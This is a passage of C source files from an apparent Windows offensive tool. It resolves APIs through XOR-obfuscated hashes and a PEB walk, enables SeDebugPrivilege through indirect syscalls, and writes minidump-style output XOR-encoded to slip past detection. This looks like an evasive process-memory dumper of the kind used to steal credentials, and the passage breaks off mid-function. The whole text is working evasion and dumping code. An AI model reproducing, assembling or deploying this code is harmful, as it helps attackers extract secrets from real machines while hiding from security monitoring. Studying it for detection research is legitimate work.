char*)dll_base + (ptr_namepointertable[idx_functions]); 118 | if (djb2(ptr_function_name) == xor_hash(crypted_function_hash)) { 119 | 120 | WORD nameord = ptr_ordinaltable[idx_functions]; 121 | DWORD rva = ptr_exportadrtable[nameord]; 122 | 123 | 124 | if (dll_base + rva >= dll_base + data_dir->VirtualAddress && dll_base + rva <= dll_base + data_dir->VirtualAddress + (uint64_t)data_dir->Size) { 125 | // This is a forwarded export 126 | 127 | char* ptr_forward = (char*)(dll_base + rva); 128 | return followExport(ptr_forward, crypted_function_hash); 129 | 130 | } 131 | 132 | 133 | return dll_base + rva; 134 | } 135 | 136 | } 137 | 138 | return FAIL; 139 | } 140 | 141 | static uint64_t followExport(char* ptr_forward, unsigned long crypted_function_hash) { 142 | 143 | STRSTRA _StrStrA = (STRSTRA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRSTRA); 144 | 145 | if (_StrStrA == 0x00) 146 | return FAIL; 147 | 148 | char del[] = { '.', 0x00 }; 149 | char* pos_del = 0x00; 150 | char forward_dll[MAX_PATH] = { 0 }; 151 | char forward_export[MAX_PATH] = { 0 }; 152 | unsigned long forward_export_hash = 0x00; 153 | uint8_t i = 0; 154 | uint64_t fwd_dll_base = 0x00, forwarded_export = 0x00; 155 | 156 | while (*ptr_forward) 157 | forward_dll[i++] = *ptr_forward++; 158 | 159 | pos_del = (char*)_StrStrA(forward_dll, del); 160 | if (pos_del == 0) 161 | return FAIL; 162 | 163 | *(char*)(pos_del++) = 0x00; 164 | i = 0; 165 | while (*pos_del) 166 | forward_export[i++] = *pos_del++; 167 | 168 | forward_export_hash = xor_hash(djb2((unsigned char*)forward_export)); 169 | 170 | fwd_dll_base = getDllBase(xor_hash(djb2((unsigned char*)forward_dll))); 171 | if (fwd_dll_base == 0x00) { 172 | fwd_dll_base = loadDll_byName(forward_dll); 173 | if (fwd_dll_base == 0x00) 174 | return FAIL; 175 | } 176 | 177 | forwarded_export = parseHdrForPtr(fwd_dll_base, forward_export_hash); 178 | 179 | return forwarded_export; 180 | 181 | } 182 | 183 | static uint64_t 184 | getDllBase(unsigned long crypted_dll_hash) { 185 | 186 | _PPEB ptr_peb = NULL; 187 | PPEB_LDR_DATA ptr_ldr_data = NULL; 188 | PLDR_DATA_TABLE_ENTRY ptr_module_entry = NULL, ptr_start_module = NULL; 189 | PUNICODE_STR dll_name = NULL; 190 | 191 | ptr_peb = (_PPEB)__readgsqword(0x60); 192 | ptr_ldr_data = ptr_peb->pLdr; 193 | ptr_module_entry = ptr_start_module = (PLDR_DATA_TABLE_ENTRY)ptr_ldr_data->InMemoryOrderModuleList.Flink; 194 | 195 | do { 196 | 197 | dll_name = &ptr_module_entry->BaseDllName; 198 | 199 | if (dll_name->pBuffer == NULL) 200 | return FAIL; 201 | 202 | if (unicode_djb2(toLower(dll_name->pBuffer)) == xor_hash(crypted_dll_hash)) 203 | return (uint64_t)ptr_module_entry->DllBase; 204 | 205 | ptr_module_entry = (PLDR_DATA_TABLE_ENTRY)ptr_module_entry->InMemoryOrderModuleList.Flink; 206 | 207 | } while (ptr_module_entry != ptr_start_module); 208 | 209 | return FAIL; 210 | 211 | } 212 | 213 | static unsigned long 214 | djb2(unsigned char* str) 215 | { 216 | unsigned long hash = 5381; 217 | int c; 218 | 219 | while ((c = *str++)) 220 | hash = ((hash << 5) + hash) + c; 221 | 222 | return hash; 223 | } 224 | 225 | unsigned long 226 | unicode_djb2(const wchar_t* str) 227 | { 228 | 229 | unsigned long hash = 5381; 230 | DWORD val; 231 | 232 | while (*str != 0) { 233 | val = (DWORD)*str++; 234 | hash = ((hash << 5) + hash) + val; 235 | } 236 | 237 | return hash; 238 | 239 | } 240 | 241 | unsigned long 242 | xor_hash(unsigned long hash) { 243 | return hash ^ CRYPT_KEY; 244 | } 245 | 246 | static WCHAR* 247 | toLower(WCHAR* str) 248 | { 249 | 250 | WCHAR* start = str; 251 | 252 | while (*str) { 253 | 254 | if (*str <= L'Z' && *str >= 'A') { 255 | *str += 32; 256 | } 257 | 258 | str += 1; 259 | 260 | } 261 | 262 | return start; 263 | 264 | } -------------------------------------------------------------------------------- /src/Misc.c: -------------------------------------------------------------------------------- 1 | #include "Misc.h" 2 | 3 | /* I stole this from outflank's ps-tools repo */ 4 | DWORD setDebugPrivilege(struct fPtrs* function_ptrs) { 5 | 6 | HANDLE hToken = NULL; 7 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 8 | DWORD dwSuccess = FAIL; 9 | 10 | Syscall sysNtOpenProcessToken = { 0x00 }, sysNtAdjustPrivilegesToken = { 0x00 }; 11 | dwSuccess = getSyscall(0x3a92371d, &sysNtOpenProcessToken); 12 | if (dwSuccess == FAIL) 13 | goto exit; 14 | 15 | dwSuccess = getSyscall(0x2863ba89, &sysNtAdjustPrivilegesToken); 16 | if (dwSuccess == FAIL) 17 | goto exit; 18 | 19 | PrepareSyscall(sysNtOpenProcessToken.dwSyscallNr, sysNtOpenProcessToken.pRecycledGate); 20 | NTSTATUS status = DoSyscall(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken); 21 | if (status != STATUS_SUCCESS) { 22 | dwSuccess = FAIL; 23 | goto exit; 24 | } 25 | 26 | TokenPrivileges.PrivilegeCount = 1; 27 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; 28 | 29 | char debug_priv[] = "SeDebugPrivilege"; 30 | if (!function_ptrs->_LookupPrivilegeValueA(NULL, debug_priv, &TokenPrivileges.Privileges[0].Luid)) { 31 | function_ptrs->_CloseHandle(hToken); 32 | dwSuccess = FAIL; 33 | goto exit; 34 | } 35 | 36 | PrepareSyscall(sysNtAdjustPrivilegesToken.dwSyscallNr, sysNtAdjustPrivilegesToken.pRecycledGate); 37 | status = DoSyscall(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); 38 | if (status != STATUS_SUCCESS) { 39 | function_ptrs->_CloseHandle(hToken); 40 | dwSuccess = FAIL; 41 | goto exit; 42 | } 43 | 44 | function_ptrs->_CloseHandle(hToken); 45 | 46 | dwSuccess = SUCCESS; 47 | 48 | exit: 49 | 50 | return dwSuccess; 51 | 52 | } 53 | 54 | DWORD resolveFptrs(struct fPtrs* ptrs) { 55 | 56 | ptrs->_CopyMemory = (COPYMEMORY)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_COPYMEMORY); 57 | ptrs->_lstrcatA = (LSTRCATA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCATA); 58 | ptrs->_lstrlenA = (LSTRLENA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENA); 59 | ptrs->_wsprintfA = (WSPRINTFA)getFunctionPtr(CRYPTED_HASH_USER32, CRYPTED_HASH_WSPRINTFA); 60 | ptrs->_CreateFileA = (CREATEFILEA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CREATEFILEA); 61 | ptrs->_CloseHandle = (CLOSEHANDLE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_CLOSEHANDLE); 62 | ptrs->_GetProcessId = (GETPROCESSID)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSID); 63 | ptrs->_VirtualFree = (VIRTUALFREE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_VIRTUALFREE); 64 | ptrs->_VirtualAlloc = (VIRTUALALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYTPED_HASH_VIRTUALALLOC); 65 | ptrs->_strcmpW = (STRCMPW)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRCMPW); 66 | ptrs->_strstrA = (STRSTRA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRSTRA); 67 | ptrs->_GetModuleFileNameExA = (GETMODULEFILENAMEXA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEFILENAMEEXA); 68 | ptrs->_GetProcessImageFileNameA = (GETPROCESSIMAGEFILENAMEA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA); 69 | ptrs->_PathFindFileNameA = (PATHFINDFILENAMEA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_PATHFINDFILENAMEA); 70 | ptrs->_WriteFile = (WRITEFILE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_WRITEFILE); 71 | ptrs->_HeapAlloc = (HEAPALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPALLOC); 72 | ptrs->_GetProcessHeap = (GETPROCESSHEAP)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCESSHEAP); 73 | ptrs->_HeapFree = (HEAPFREE)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPFREE); 74 | ptrs->_HeapReAlloc = (HEAPREALLOC)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_HEAPREALLOC); 75 | ptrs->_SetFilePointer = (SETFILEPOINTER)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_SETFILEPOINTER); 76 | ptrs->_LoadLibrary = (LOADLIBRARYA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LOADLIBRARYA); 77 | ptrs->_GetSystemInfo = (GETSYSTEMINFO)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETSYSTEMINFO); 78 | ptrs->_FreeLibrary = (FREELIBRARY)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_FREELIBRARY); 79 | ptrs->_IsProcessorFeaturePresent = (ISPROCESSORFEATUREPRESENT)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_ISPROCESSORFEATUREPRESENT); 80 | ptrs->_lstrlenW = (LSTRLENW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRLENW); 81 | ptrs->_GetProcAddress = (GETPROCADDRESS)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETPROCADDRESS); 82 | ptrs->_VirtualQueryEx = (VIRTUALQUERYEX)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_VIRTUALQUERYEX); 83 | ptrs->_SetFilePointerEx = (SETFILEPOINTEREX)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_SETFILEPOINTEREX); 84 | ptrs->_GetFileVersionInfoSizeW = (GETFILEVERSIONINFOSIZEW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_GETFILEVERSIONINFOSIZEW); 85 | ptrs->_GetFileVersionInfoW = (GETFILEVERSIONINFOW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_GETFILEVERSIONINFOW); 86 | ptrs->_VerQueryValueW = (VERQUERYVALUEW)getFunctionPtr(CRYPTED_HASH_API_MS_WIN_CORE_DLL, CRYPTED_HASH_VERQUERYVALUEW); 87 | ptrs->_lstrcpyW = (LSTRCPYW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCPYW); 88 | ptrs->_GetModuleFileNameExW = (GETMODULEFILENAMEEXW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEFILENAMEEXW); 89 | ptrs->_EnumProcessModules = (ENUMPROCESSMODULES)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_ENUMPROCESSMODULES); 90 | ptrs->_GetModuleInformation = (GETMODULEINFORMATION)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEINFORMATION); 91 | ptrs->_GetModuleBaseNameW = (GETMODULEBASENAMEW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_GETMODULEBASENAMEW); 92 | ptrs->_lstrcmpA = (LSTRCMPA)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCMPA); 93 | ptrs->_lstrcmpW = (LSTRCMPW)getFunctionPtr(CRYPTED_HASH_KERNEL32, CRYPTED_HASH_LSTRCMPW); 94 | ptrs->_LookupPrivilegeValueA = (LOOKUPPRIVILEGEVALUEA)getFunctionPtr(CRYPTED_HASH_ADVAPI32, CRYPTED_HASH_LOOKUPPRIVILEGEVALUEA); 95 | 96 | if (ptrs->_EnumProcessModules == 0x00) 97 | ptrs->_EnumProcessModules = (ENUMPROCESSMODULES)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_ENUMPROCESSMODULES); 98 | 99 | if (ptrs->_GetModuleInformation == 0x00) 100 | ptrs->_GetModuleInformation = (GETMODULEINFORMATION)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEINFORMATION); 101 | 102 | if (ptrs->_GetModuleBaseNameW == 0x00) 103 | ptrs->_GetModuleBaseNameW = (GETMODULEBASENAMEW)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEBASENAMEW); 104 | 105 | if (ptrs->_GetModuleFileNameExA == 0x00) 106 | ptrs->_GetModuleFileNameExA = (GETMODULEFILENAMEXA)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEFILENAMEEXA); 107 | 108 | if (ptrs->_GetProcessImageFileNameA == 0x00) 109 | ptrs->_GetProcessImageFileNameA = (GETPROCESSIMAGEFILENAMEA)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETPROCESSIMAGEFILENAMEA); 110 | 111 | if(ptrs->_GetModuleFileNameExW == 0x00) 112 | ptrs->_GetModuleFileNameExW = (GETMODULEFILENAMEEXW)getFunctionPtr(CRYPTED_HASH_PSAPI, CRYPTED_HASH_GETMODULEFILENAMEEXW); 113 | 114 | if (ptrs->_lstrcatA == 0x00 || ptrs->_lstrlenA == 0x00 || ptrs->_wsprintfA == 0x00 || ptrs->_CreateFileA == 0x00 || ptrs->_CloseHandle == 0x00 || 115 | ptrs->_GetProcessId == 0x00 || ptrs->_VirtualFree == 0x00 || ptrs->_VirtualAlloc == 0x00 || ptrs->_strcmpW == 0x00 || 116 | ptrs->_strstrA == 0x00 || ptrs->_GetModuleFileNameExA == 0x00 || ptrs->_GetProcessImageFileNameA == 0x00 || ptrs->_PathFindFileNameA == 0x00 || 117 | ptrs->_WriteFile == 0x00 || ptrs->_HeapAlloc == 0x00 || ptrs->_GetProcessHeap == 0x00 || ptrs->_HeapFree == 0x00 || ptrs->_HeapReAlloc == 0x00 || 118 | ptrs->_SetFilePointer == 0x00 || ptrs->_LoadLibrary == 0x00 || ptrs->_GetSystemInfo == 0x00 || ptrs->_FreeLibrary == 0x00 || ptrs->_IsProcessorFeaturePresent == 0x00 || 119 | ptrs->_lstrlenW == 0x00 || ptrs->_GetProcAddress == 0x00 || ptrs->_VirtualQueryEx == 0x00 || ptrs->_SetFilePointerEx == 0x00 || 120 | ptrs->_GetFileVersionInfoSizeW == 0x00 || ptrs->_GetFileVersionInfoW == 0x00 || ptrs->_VerQueryValueW == 0x00 || ptrs->_lstrcpyW == 0x00 || 121 | ptrs->_GetModuleFileNameExW == 0x00 || ptrs->_EnumProcessModules == 0x00 || ptrs->_GetModuleInformation == 0x00 || ptrs->_GetModuleBaseNameW == 0x00 122 | || ptrs->_lstrcmpA == 0x00 || ptrs->_lstrcmpW == 0x00 || ptrs->_LookupPrivilegeValueA == 0x00 || ptrs->_CopyMemory == 0x00) { 123 | return FAIL; 124 | } 125 | 126 | return SUCCESS; 127 | 128 | } 129 | -------------------------------------------------------------------------------- /src/Defines.h: -------------------------------------------------------------------------------- 1 | #ifndef _DEFINES_H 2 | #define _DEFINES_H 3 | #include "windows.h" 4 | 5 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 6 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 7 | 8 | #define STATUS_SUCCESS 0x00 9 | #define STATUS_UNSUCCESSFUL 0xC0000001 10 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 11 | 12 | #define SystemHandleInformation 16 13 | 14 | typedef LONG KPRIORITY; 15 | 16 | typedef struct UNICODE_STR { 17 | USHORT Length; 18 | USHORT MaximumLength; 19 | PWSTR pBuffer; 20 | } UNICODE_STR, * PUNICODE_STR; 21 | 22 | typedef struct _PEB_LDR_DATA 23 | { 24 | DWORD dwLength; 25 | DWORD dwInitialized; 26 | LPVOID lpSsHandle; 27 | LIST_ENTRY InLoadOrderModuleList; 28 | LIST_ENTRY InMemoryOrderModuleList; 29 | LIST_ENTRY InInitializationOrderModuleList; 30 | LPVOID lpEntryInProgress; 31 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 32 | 33 | typedef struct _LDR_DATA_TABLE_ENTRY 34 | { 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | LIST_ENTRY InInitializationOrderModuleList; 37 | PVOID DllBase; 38 | PVOID EntryPoint; 39 | ULONG SizeOfImage; 40 | UNICODE_STR FullDllName; 41 | UNICODE_STR BaseDllName; 42 | ULONG Flags; 43 | SHORT LoadCount; 44 | SHORT TlsIndex; 45 | LIST_ENTRY HashTableEntry; 46 | ULONG TimeDateStamp; 47 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 48 | 49 | typedef struct _PEB_FREE_BLOCK 50 | { 51 | struct _PEB_FREE_BLOCK* pNext; 52 | DWORD dwSize; 53 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 54 | 55 | typedef struct __PEB 56 | { 57 | BYTE bInheritedAddressSpace; 58 | BYTE bReadImageFileExecOptions; 59 | BYTE bBeingDebugged; 60 | BYTE bSpareBool; 61 | LPVOID lpMutant; 62 | LPVOID lpImageBaseAddress; 63 | PPEB_LDR_DATA pLdr; 64 | LPVOID lpProcessParameters; 65 | LPVOID lpSubSystemData; 66 | LPVOID lpProcessHeap; 67 | PRTL_CRITICAL_SECTION pFastPebLock; 68 | LPVOID lpFastPebLockRoutine; 69 | LPVOID lpFastPebUnlockRoutine; 70 | DWORD dwEnvironmentUpdateCount; 71 | LPVOID lpKernelCallbackTable; 72 | DWORD dwSystemReserved; 73 | DWORD dwAtlThunkSListPtr32; 74 | PPEB_FREE_BLOCK pFreeList; 75 | DWORD dwTlsExpansionCounter; 76 | LPVOID lpTlsBitmap; 77 | DWORD dwTlsBitmapBits[2]; 78 | LPVOID lpReadOnlySharedMemoryBase; 79 | LPVOID lpReadOnlySharedMemoryHeap; 80 | LPVOID lpReadOnlyStaticServerData; 81 | LPVOID lpAnsiCodePageData; 82 | LPVOID lpOemCodePageData; 83 | LPVOID lpUnicodeCaseTableData; 84 | DWORD dwNumberOfProcessors; 85 | DWORD dwNtGlobalFlag; 86 | LARGE_INTEGER liCriticalSectionTimeout; 87 | DWORD dwHeapSegmentReserve; 88 | DWORD dwHeapSegmentCommit; 89 | DWORD dwHeapDeCommitTotalFreeThreshold; 90 | DWORD dwHeapDeCommitFreeBlockThreshold; 91 | DWORD dwNumberOfHeaps; 92 | DWORD dwMaximumNumberOfHeaps; 93 | LPVOID lpProcessHeaps; 94 | LPVOID lpGdiSharedHandleTable; 95 | LPVOID lpProcessStarterHelper; 96 | DWORD dwGdiDCAttributeList; 97 | LPVOID lpLoaderLock; 98 | DWORD dwOSMajorVersion; 99 | DWORD dwOSMinorVersion; 100 | WORD wOSBuildNumber; 101 | WORD wOSCSDVersion; 102 | DWORD dwOSPlatformId; 103 | DWORD dwImageSubsystem; 104 | DWORD dwImageSubsystemMajorVersion; 105 | DWORD dwImageSubsystemMinorVersion; 106 | DWORD dwImageProcessAffinityMask; 107 | DWORD dwGdiHandleBuffer[34]; 108 | LPVOID lpPostProcessInitRoutine; 109 | LPVOID lpTlsExpansionBitmap; 110 | DWORD dwTlsExpansionBitmapBits[32]; 111 | DWORD dwSessionId; 112 | ULARGE_INTEGER liAppCompatFlags; 113 | ULARGE_INTEGER liAppCompatFlagsUser; 114 | LPVOID lppShimData; 115 | LPVOID lpAppCompatInfo; 116 | UNICODE_STR usCSDVersion; 117 | LPVOID lpActivationContextData; 118 | LPVOID lpProcessAssemblyStorageMap; 119 | LPVOID lpSystemDefaultActivationContextData; 120 | LPVOID lpSystemAssemblyStorageMap; 121 | DWORD dwMinimumStackCommit; 122 | } _PEB, * _PPEB; 123 | 124 | typedef struct _VM_COUNTERS { 125 | SIZE_T PeakVirtualSize; 126 | SIZE_T PageFaultCount; 127 | SIZE_T PeakWorkingSetSize; 128 | SIZE_T WorkingSetSize; 129 | SIZE_T QuotaPeakPagedPoolUsage; 130 | SIZE_T QuotaPagedPoolUsage; 131 | SIZE_T QuotaPeakNonPagedPoolUsage; 132 | SIZE_T QuotaNonPagedPoolUsage; 133 | SIZE_T PagefileUsage; 134 | SIZE_T PeakPagefileUsage; 135 | SIZE_T VirtualSize; 136 | } VM_COUNTERS; 137 | 138 | typedef struct _CLIENT_ID 139 | { 140 | DWORD64 UniqueProcess; 141 | DWORD64 UniqueThread; 142 | } CLIENT_ID, *PCLIENT_ID; 143 | 144 | typedef enum _KWAIT_REASON 145 | { 146 | Executive = 0, 147 | FreePage = 1, 148 | PageIn = 2, 149 | PoolAllocation = 3, 150 | DelayExecution = 4, 151 | Suspended = 5, 152 | UserRequest = 6, 153 | WrExecutive = 7, 154 | WrFreePage = 8, 155 | WrPageIn = 9, 156 | WrPoolAllocation = 10, 157 | WrDelayExecution = 11, 158 | WrSuspended = 12, 159 | WrUserRequest = 13, 160 | WrEventPair = 14, 161 | WrQueue = 15, 162 | WrLpcReceive = 16, 163 | WrLpcReply = 17, 164 | WrVirtualMemory = 18, 165 | WrPageOut = 19, 166 | WrRendezvous = 20, 167 | Spare2 = 21, 168 | Spare3 = 22, 169 | Spare4 = 23, 170 | Spare5 = 24, 171 | WrCalloutStack = 25, 172 | WrKernel = 26, 173 | WrResource = 27, 174 | WrPushLock = 28, 175 | WrMutex = 29, 176 | WrQuantumEnd = 30, 177 | WrDispatchInt = 31, 178 | WrPreempted = 32, 179 | WrYieldExecution = 33, 180 | WrFastMutex = 34, 181 | WrGuardedMutex = 35, 182 | WrRundown = 36, 183 | MaximumWaitReason = 37 184 | } KWAIT_REASON; 185 | 186 | 187 | typedef struct _SYSTEM_THREAD_INFORMATION 188 | { 189 | LARGE_INTEGER KernelTime; 190 | LARGE_INTEGER UserTime; 191 | LARGE_INTEGER CreateTime; 192 | ULONG WaitTime; 193 | PVOID StartAddress; 194 | CLIENT_ID ClientId; 195 | KPRIORITY Priority; 196 | LONG BasePriority; 197 | ULONG ContextSwitches; 198 | ULONG ThreadState; 199 | KWAIT_REASON WaitReason; 200 | } SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; 201 | 202 | 203 | typedef struct _SYSTEM_PROCESS_INFORMATION { 204 | ULONG NextEntryOffset; 205 | ULONG NumberOfThreads; 206 | LARGE_INTEGER WorkingSetPrivateSize; // since VISTA 207 | ULONG HardFaultCount; // since WIN7 208 | ULONG NumberOfThreadsHighWatermark; // since WIN7 209 | ULONGLONG CycleTime; // since WIN7 210 | LARGE_INTEGER CreateTime; 211 | LARGE_INTEGER UserTime; 212 | LARGE_INTEGER KernelTime; 213 | UNICODE_STR ImageName; 214 | KPRIORITY BasePriority; 215 | HANDLE UniqueProcessId; 216 | HANDLE InheritedFromUniqueProcessId; 217 | ULONG HandleCount; 218 | ULONG SessionId; 219 | ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) 220 | SIZE_T PeakVirtualSize; 221 | SIZE_T VirtualSize; 222 | ULONG PageFaultCount; 223 | SIZE_T PeakWorkingSetSize; 224 | SIZE_T WorkingSetSize; 225 | SIZE_T QuotaPeakPagedPoolUsage; 226 | SIZE_T QuotaPagedPoolUsage; 227 | SIZE_T QuotaPeakNonPagedPoolUsage; 228 | SIZE_T QuotaNonPagedPoolUsage; 229 | SIZE_T PagefileUsage; 230 | SIZE_T PeakPagefileUsage; 231 | SIZE_T PrivatePageCount; 232 | LARGE_INTEGER ReadOperationCount; 233 | LARGE_INTEGER WriteOperationCount; 234 | LARGE_INTEGER OtherOperationCount; 235 | LARGE_INTEGER ReadTransferCount; 236 | LARGE_INTEGER WriteTransferCount; 237 | LARGE_INTEGER OtherTransferCount; 238 | SYSTEM_THREAD_INFORMATION Threads[1]; 239 | } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; 240 | 241 | typedef enum _PS_CREATE_STATE 242 | { 243 | PsCreateInitialState, 244 | PsCreateFailOnFileOpen, 245 | PsCreateFailOnSectionCreate, 246 | PsCreateFailExeFormat, 247 | PsCreateFailMachineMismatch, 248 | PsCreateFailExeName, 249 | PsCreateSuccess, 250 | PsCreateMaximumStates 251 | } PS_CREATE_STATE, *PPS_CREATE_STATE; 252 | 253 | 254 | typedef enum _OBJECT_INFORMATION_CLASS { 255 | ObjectBasicInformation, 256 | ObjectNameInformation, 257 | ObjectTypeInformation, 258 | ObjectAllInformation, 259 | ObjectDataInformation 260 | } OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; 261 | 262 | typedef VOID(KNORMAL_ROUTINE) ( 263 | IN PVOID NormalContext, 264 | IN PVOID SystemArgument1, 265 | IN PVOID SystemArgument2); 266 | 267 | typedef struct OBJECT_TYPE_INFORMATION { 268 | UNICODE_STR TypeName; 269 | ULONG TotalNumberOfObjects; 270 | ULONG TotalNumberOfHandles; 271 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; 272 | 273 | typedef struct _OBJECT_ATTRIBUTES { 274 | ULONG Length; 275 | HANDLE RootDirectory; 276 | PUNICODE_STR ObjectName; 277 | ULONG Attributes; 278 | PVOID SecurityDescriptor; 279 | PVOID SecurityQualityOfService; 280 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 281 | 282 | #ifndef InitializeObjectAttributes 283 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 284 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 285 | (p)->RootDirectory = r; \ 286 | (p)->Attributes = a; \ 287 | (p)->ObjectName = n; \ 288 | (p)->SecurityDescriptor = s; \ 289 | (p)->SecurityQualityOfService = NULL; \ 290 | } 291 | #endif 292 | 293 | 294 | typedef struct SYSTEM_HANDLE 295 | { 296 | ULONG ProcessId; 297 | BYTE ObjectTypeNumber; 298 | BYTE Flags; 299 | USHORT Handle; 300 | PVOID Object; 301 | ACCESS_MASK GrantedAccess; 302 | } SYSTEM_HANDLE, * PSYSTEM_HANDLE; 303 | 304 | typedef struct SYSTEM_HANDLE_INFORMATION 305 | { 306 | ULONG HandleCount; 307 | SYSTEM_HANDLE Handles[1]; 308 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 309 | 310 | typedef enum _SYSTEM_INFORMATION_CLASS { 311 | SystemBasicInformation = 0, 312 | SystemPerformanceInformation = 2, 313 | SystemTimeOfDayInformation = 3, 314 | SystemProcessInformation = 5, 315 | SystemProcessorPerformanceInformation = 8, 316 | SystemInterruptInformation = 23, 317 | SystemExceptionInformation = 33, 318 | SystemRegistryQuotaInformation = 37, 319 | SystemLookasideInformation = 45 320 | } SYSTEM_INFORMATION_CLASS; 321 | 322 | #endif 323 | -------------------------------------------------------------------------------- /src/DumpTools.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This library is free software; you can redistribute it and/or 3 | * modify it under the terms of the GNU Lesser General Public 4 | * License as published by the Free Software Foundation; either 5 | * version 2.1 of the License, or (at your option) any later version. 6 | * 7 | * This library is distributed in the hope that it will be useful, 8 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | * Lesser General Public License for more details. 11 | * 12 | * You should have received a copy of the GNU Lesser General Public 13 | * License along with this library; if not, write to the Free Software 14 | * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA 15 | */ 16 | 17 | /* Based on https://doxygen.reactos.org/d8/d5d/minidump_8c_source.html */ 18 | 19 | #include "DumpTools.h" 20 | 21 | #include "stdio.h" 22 | 23 | static int 24 | mytowlower(wint_t c) { 25 | 26 | int ret = (int)c; 27 | 28 | if (c <= L'Z' && c >= 'A') { 29 | ret += 32; 30 | } 31 | 32 | return ret; 33 | 34 | } 35 | 36 | static BOOL ObfWriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped, struct fPtrs* function_ptrs) { 37 | 38 | void* ptr_encoded_buffer = NULL; 39 | BOOL success = FALSE; 40 | 41 | ptr_encoded_buffer = function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, nNumberOfBytesToWrite); 42 | if(ptr_encoded_buffer == NULL) 43 | goto cleanup; 44 | 45 | for (unsigned i = 0; i < nNumberOfBytesToWrite; i++) 46 | *((BYTE*)ptr_encoded_buffer + i) = *((BYTE*)lpBuffer + i); 47 | 48 | for (unsigned i = 0; i < nNumberOfBytesToWrite; i++) 49 | *((BYTE*)ptr_encoded_buffer + i) ^= 0x41; 50 | 51 | success = function_ptrs->_WriteFile(hFile, ptr_encoded_buffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, NULL); 52 | 53 | 